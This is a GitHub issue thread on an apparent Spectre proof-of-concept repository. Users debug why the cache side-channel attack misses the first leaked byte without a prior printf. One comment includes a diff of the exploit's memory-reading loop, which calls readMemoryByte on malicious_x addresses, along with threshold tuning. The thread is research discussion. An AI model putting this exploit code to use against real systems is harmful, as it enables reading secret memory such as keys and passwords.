-
Notifications
You must be signed in to change notification settings - Fork 89
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Attack not working without printf #35
Comments
Still leaking the first byte on Windows (though it can be second best).
|
Tested this on Linux (Kubuntu 23.10 instead of Debian 12) and it seems to depend on hardware and/or threshold value. Kernel:
CPU:
At first, initial byte is really missed:
With threshold set to 100 it works again:
Then I thought about removing usage of printf (and any output whatsoever) until all leaked data is collected. So I made a change that writes leaked bytes to shared memory. Note that code is not very effective, I just wanted to make it somewhere outside of process' memory, e.g. stack or heap. 23a24,27
> #include <string.h>
> #include <sys/shm.h>
> #include <errno.h>
>
294c298,299
< int len = 40;
---
> const int total_len = 40;
> int len = total_len;
299a305,314
> struct item {
> int score[2];
> uint8_t value[2];
> };
>
> key_t shm_key = 0x1337;
> const int shared_segment_size = sizeof(struct item) * total_len;
> int segment_id;
> char* shared_memory;
>
326a342,369
> size_t malicious_x_0 = malicious_x;
>
> segment_id = shmget(shm_key, shared_segment_size, IPC_CREAT | 0777);
> if(segment_id < 0) {
> fprintf(stderr, "shmget error: %s\n", strerror(errno));
> return 1;
> }
> shared_memory = (char*)shmat(segment_id, 0, 0);
> if(shared_memory == (char*)(-1)) {
> fprintf(stderr, "shmat error: %s\n", strerror(errno));
> return 1;
> }
>
> memset(shared_memory, 0, shared_segment_size);
>
> struct item* pitem = (struct item*)shared_memory;
>
> /* Start the read loop to read each address */
> while (--len >= 0) {
> /* Call readMemoryByte with the required cache hit threshold and
> malicious x address. value and score are arrays that are
> populated with the results.
> */
> readMemoryByte(cache_hit_threshold, malicious_x++, pitem->value, pitem->score);
>
> pitem++;
> }
>
365c408
< printf("Reading %d bytes:\n", len);
---
> pitem = (struct item*)shared_memory;
367,369c410,411
< /* Start the read loop to read each address */
< while (--len >= 0) {
< printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
---
> len = total_len;
> malicious_x = malicious_x_0;
371,375c413,416
< /* Call readMemoryByte with the required cache hit threshold and
< malicious x address. value and score are arrays that are
< populated with the results.
< */
< readMemoryByte(cache_hit_threshold, malicious_x++, value, score);
---
> printf("Reading %d bytes:\n", len);
> while (--len>=0) {
> printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
> malicious_x++;
378,380c419,421
< printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
< printf("0x%02X=’%c’ score=%d ", value[0],
< (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
---
> printf("%s: ", (pitem->score[0] >= 2 * pitem->score[1] ? "Success" : "Unclear"));
> printf("0x%02X=’%c’ score=%d ", pitem->value[0],
> (pitem->value[0] > 31 && pitem->value[0] < 127 ? pitem->value[0] : '?'), pitem->score[0]);
382,384c423,425
< if (score[1] > 0) {
< printf("(second best: 0x%02X=’%c’ score=%d)", value[1],
< (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);
---
> if (pitem->score[1] > 0) {
> printf("(second best: 0x%02X=’%c’ score=%d)", pitem->value[1],
> (pitem->value[1] > 31 && pitem->value[1] < 127 ? pitem->value[1] : '?'), pitem->score[1]);
387a429
> pitem++;
388a431,434
>
> shmdt(shared_memory);
> shmctl(segment_id, IPC_RMID, NULL);
> The result doesn't work with default threshold of 80 (because not a single printf was called) and works almost completely with the value of 100:
|
Hi all,
when researching the attack, I found a strange thing.
Not sure whether this is the best place for discussion but it seems this is the most recent PoC repository I could find on gh.
What does not work
What I found was that the attack will not work quite right without the initial
printf
s before leaking bytes.Hardware
I tested this on:
The patch to reconstruct the issue
See the following diff I applied to the original source. I am basically removing all
printf
s before finding the first secret byte.Applying that patch, the following output is shown:
The first byte cannot be leaked anymore. Removing all
printf
s leads to no byte being leaked correctly.Why?
Currently, I am not sure why that happens. My assumption is that
printf
somehow changes state of some pages without which the attack does not work.For this, I added 1 printf and stopped right before it with GDB. Using pagemap, I dumped the page table and had a look at differences before and after the printf (left side is before the printf).
One can see that amongst having a heap now, some additional
libc
pages are present. Callingmalloc
instead ofprintf
does not work and still produces wrong bytes.I would be glad if someone had an idea why this happens. 😊 Actually I am not sure what internal state this printf changes.
The text was updated successfully, but these errors were encountered: